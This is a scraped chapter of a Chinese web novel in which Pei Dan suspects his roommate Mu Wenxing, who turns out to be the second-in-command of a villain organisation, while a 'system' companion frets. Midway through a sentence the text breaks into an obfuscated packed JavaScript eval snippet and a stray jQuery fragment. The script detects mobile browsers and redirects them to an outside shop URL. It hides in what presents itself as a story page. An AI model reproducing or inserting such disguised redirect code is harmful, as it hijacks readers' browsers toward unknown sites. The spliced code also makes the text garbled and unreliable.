裴单把路利克和赵玮两人间的事解决完后,循着直觉快步赶回宿舍里。
他用钥匙打开门,宿舍里一片漆黑,果不其然没有人在房间里。
裴单眯了下眼睛,肯定了心里的猜测,翻墙的那个绝对就是木文星。
他将门带上,打开了灯,房间里亮堂起来,空无一人,为了不耽误时间,他迅速给谈由打去电话,等对方接通,他干脆问道:“监控查到了吗?”
谈由面色冷沉:“监控全部被销毁了。技术人员在尝试恢复录像,我在这里守着。怎么了?”
裴单视线扫着房间里,刚要张口说木文星不在宿舍,嫌疑非常大,就看见浴室的门从里面被打开了。
里面水雾缭绕,少年的眉眼沾着水汽,身上裹着浴袍,水珠沿着无辜清纯的脸向下滴落,出水芙蓉一般。
裴单嗓音一滞,喉结莫名干涩,握着手机的五指也收紧了。
木文星歪了下头,眼睛弯弯:“你回来啦?”
“你、你在洗澡?”裴单说得有些艰涩,像是还没反应过来,不停转动的那个聪明头脑都在这瞬间滞缓宕机了。
“是呀。”木文星拿毛巾随意擦着湿漉漉的头发,抬眼看着他,长睫下眼睛盈盈泛着水光,漂亮极了。
裴单身体骤然僵硬,不受控制地往后退了一步。手里还捏着手机,放在耳边,电话那头突然有人出声。
“裴单?裴单?什么洗澡?你要说什么?”谈由被一堆事情烦的头都大了,又接了裴单这通让人摸不清头脑的电话,不耐烦地说,“你最好是有正事跟我说。”
裴单像是如梦初醒,眼皮颤了好几下,一言不发把电话挂了,沉默地揣进了制服口袋里。
紧接着,他就伸出手把木文星浴袍的最上一颗扣子系上,袒露的皮肤也被深灰色的浴袍盖上。
木文星懵懵地眨了下眼,对他突然这么亲昵的动作始料未及,但也没躲,低眸看着他动作。
裴单收回手时,手指不经意间和他的嘴唇擦过,两人同时一愣,视线在空中相撞。
木文星每次一看见他的脸,就会升起一种很怪异的感觉,总觉得自己在和哥面对面说话。但哥的性格很冷,不爱说话……
明明他们除了脸之外,没有什么相似的地方,但仍然、仍然会让他觉得别扭!
他把这种别扭归结于不想看着别人顶着他哥的脸,他哥是独一无二的!
“抱歉。”裴单绅士地收回了手,好像手指刚才触到的湿润柔软只是错觉般。
木文星“哦”了声,拢了拢浴袍,感觉每颗都系上有点闷闷的,于是像小猫似的抬眼看了眼裴单,又眨眨眼,自顾自把那颗扣子解开了。
裴单看见了他的动作,但没说什么,坐到了椅子上,指尖都有点发烫。
他不知道自己的手怎么就有了自己的意识,不听使唤!
静静坐了会儿,裴单烧起来的脑袋终于逐渐冷却下来,智商也总算占据了上峰。
他看着穿着浴袍走来走去像只勤劳小蜜蜂的木文星,琥珀色眸子里闪过几分怀疑,状似随口问道:“你洗澡怎么不开灯?”
“嗯?”木文星朝他举了举自己的小台灯,弯眼道,“我用这个照亮哦。”
台灯散发着微弱的莹莹光亮,如果是这个放在浴室,从外面看的话,确实看起来像是没有光。
“那为什么不开灯呢?你晚上睡觉的时候都会亮灯,我以为你有点怕黑。”
裴单嗓音温和,眼尾弯着,浸着成熟又可靠的味道,却依稀透出点步步紧逼的侵略意味。
“我不想开灯呗。”
木文星语气随意,坐在自己柔软的床铺上,白发被他胡乱擦得乱翘,他倚在枕头上,有点娇蛮地微抬下巴,“你怎么这样看着我?难道下次我洗个澡不想开灯也要和你请示吗?”
“……我没有那个意思,”裴单没有和他争辩,微笑着,“只是好奇。如果冒犯到你,那我对你说声抱歉。”
“无所谓吧,反正你一直把我当犯人看。”木文星抻了个懒腰,懒懒倚在枕头上,头发湿漉漉的,只用毛巾擦了,没吹干,裴单没忍住多看了他两眼,压了压心底想把他拽过来吹干头发的欲望。
木文星没注意他的视线,唇角弯着笑,说话轻飘飘的,却浸着股阴阳怪气,“可能我们这种来自地下城的人脸上就写满了犯罪分子几个字吧,什么时候你想逮捕我了,就可以拿手铐把我拷去审讯室。我也一回生二回熟。”
“不会。”裴单嗓音冷淡却很有力。
木文星敷衍地“嗯”了声,脸上明晃晃写着不信。
这人肯定就是对他地下城的身份有偏见。
裴单道:“因为我也是地下城的。”
木文星这下是真的有些惊讶了,坐直了身:“你说什么?”
“我说我也是从地下城上来的,”裴单弯了下唇,很有耐性地重复了遍,“你不用对我有这么大敌意。”
木文星手撑着床,呈现跪趴在床上的姿势,但他并没意识到这个姿势有什么不妥,睁大的眼睛亮亮的:“我怎么觉得是你对我有敌意呢?”
他凑得太近,近到裴单可以清晰数出他有几根睫毛,裴单不自觉抿了下唇,眸里藏着静默与内敛,半晌才开口:“你和人说话习惯凑这么近吗?”
他说完,木文星反而更凑近了一点,笑容灿烂,挑衅似的:“如果是呢?”
裴单和他对视了几秒,没说话,只是突然间站起了身,椅子和地板之间骤然摩擦发出刺耳的声音。
他喉结滚动了下,视线飘开,盯着别处,再说话时就已经转移了话题:“你在地下城上过学吗?”
木文星立马觉得他在暗讽自己是文盲,瘪了下嘴,把自己重新摔回床上,裹着被子,回道:“和你有什么关系?”
裴单观察了下他的神色,得出结论:“那就是没有。”
木文星不想搭理他,故作高冷。
“我可以教你识字。”裴单淡声道。
木文星又看向他,犹疑地抬眼:“真的吗?”
“嗯。”
裴单微微颔首,在自己的柜子里翻找,找到合适的书就放在桌上,没一会儿就累挺高了,一边回答他:“我刚来这里的时候也不认识字,上课也听不懂,只能自学,就买了些小孩识字看的书。我有这方面的经验,应该可以帮到你。”
木文星看着他宽厚的可靠的背影,歪了歪头,忍不住对系统说:【我觉得主角团的人都蛮好的。】
说完,系统却没回他。
木文星有些茫然,又喊了系统一声,脑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17502777|202838||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
海里传来了嘶拉的电流声,表示系统还在。
但它还在,却不理他。木文星抿了抿唇,想不明白为什么。
“正好停课的时间还没结束,我整理下这些书里的内容,教你识字,算是对把你拷到学院来的补偿吧。你这几天有时间吗?”裴单转身看向他。
系统不理睬他,木文星有点摸不着头脑,也有点兴致缺缺,闻言眨了眨眼,反应了下他说的内容,旋即才点点头。
裴单见他点了头,也准备先去洗澡。他今天也累了一天了,身心俱疲。
浴室里,窗户是大打开的。在他脑子迟钝滞缓的时间里,浴室里属于木文星的衣服已经全部被他收好了,浴室里非常整洁。
裴单站在窗台边,手搭在窗沿,垂眸看着窗台上的痕迹。
没有脚印,干干净净。但是甚至连水汽都没有,这就很让人觉得奇怪了。
到底是消散了,还是开热水的时间不够,水汽没来得及把这里浸湿。
这里是4楼,和地面隔着不小的距离。
但如果木文星是那个能够翻墙出去的人,那能通过窗户从底下爬上来也是易如反掌的事。
裴单没有确切的证据,他暂时收敛了自己的怀疑,合上窗户。
花洒被打开,水流不断顺着肌肉线条下滑,男生的身体精壮有力,蕴藏着极其可怕的力量,腰腹处有着一条狰狞的伤疤,破坏了那一份和谐。
他用手把额前的头发往后捋去,英俊硬朗的脸显露无疑,琥珀色的眸子稍微中和了长相的锋利与攻击性,显得温和许多。他嘴里轻轻念了一遍,木文星。
嗓音带着点浅淡的探寻与不解。
你到底是不是银十字组织的人呢……
*
木文星坐在床上,背后塞了个枕头靠在墙上,湿漉漉的头发不再滴水了,雪白的脖颈还浸着点湿气。
他正低着头专心致志玩手机里的消消乐。
【宿主,你进创世纪学院,是不是还有别的任务啊?】系统忍了一晚上,终于小心翼翼问出声。
木文星不理他,埋着头继续消消乐,眉眼认真,像是在做什么大事。
【宿主?宿主?】系统不确定地问,【你真的是银十字组织的二把手啊?】
它喊了好几声,木文星看着屏幕上的通关字样,总算纡尊降贵理了它一声:【不然呢?】
【我以为……我以为你自夸的,】系统语气很纠结,【宿主你在组织里接到的任务也是接近主角团吗?】
木文星微微颔首,系统说的大差不差。他的直接目的是混进创世纪学院,虽然中途出了一点差错,但不影响结果不错。
木文星看着系统一问三不知的样子,也明白了它为什么先前没理他,轻嗤一声:【你们绑定宿主之前不做背调吗?】
系统:【……】
它就是个刚入职的新手,能量快耗尽了,情急之下挑了个最漂亮的绑定了。没想到……它以为只是长得漂亮点的炮灰角色,结果居然是个真反派。
好了好了,这下坏了。
一旦漫画粉丝确定宿主反派的身份,它和宿主就直接一起玩完!它还做什么“人气角色守护系统”,直接改名叫“给主角团添堵马桶”好了,这样至少不在错误道路上策马奔腾了。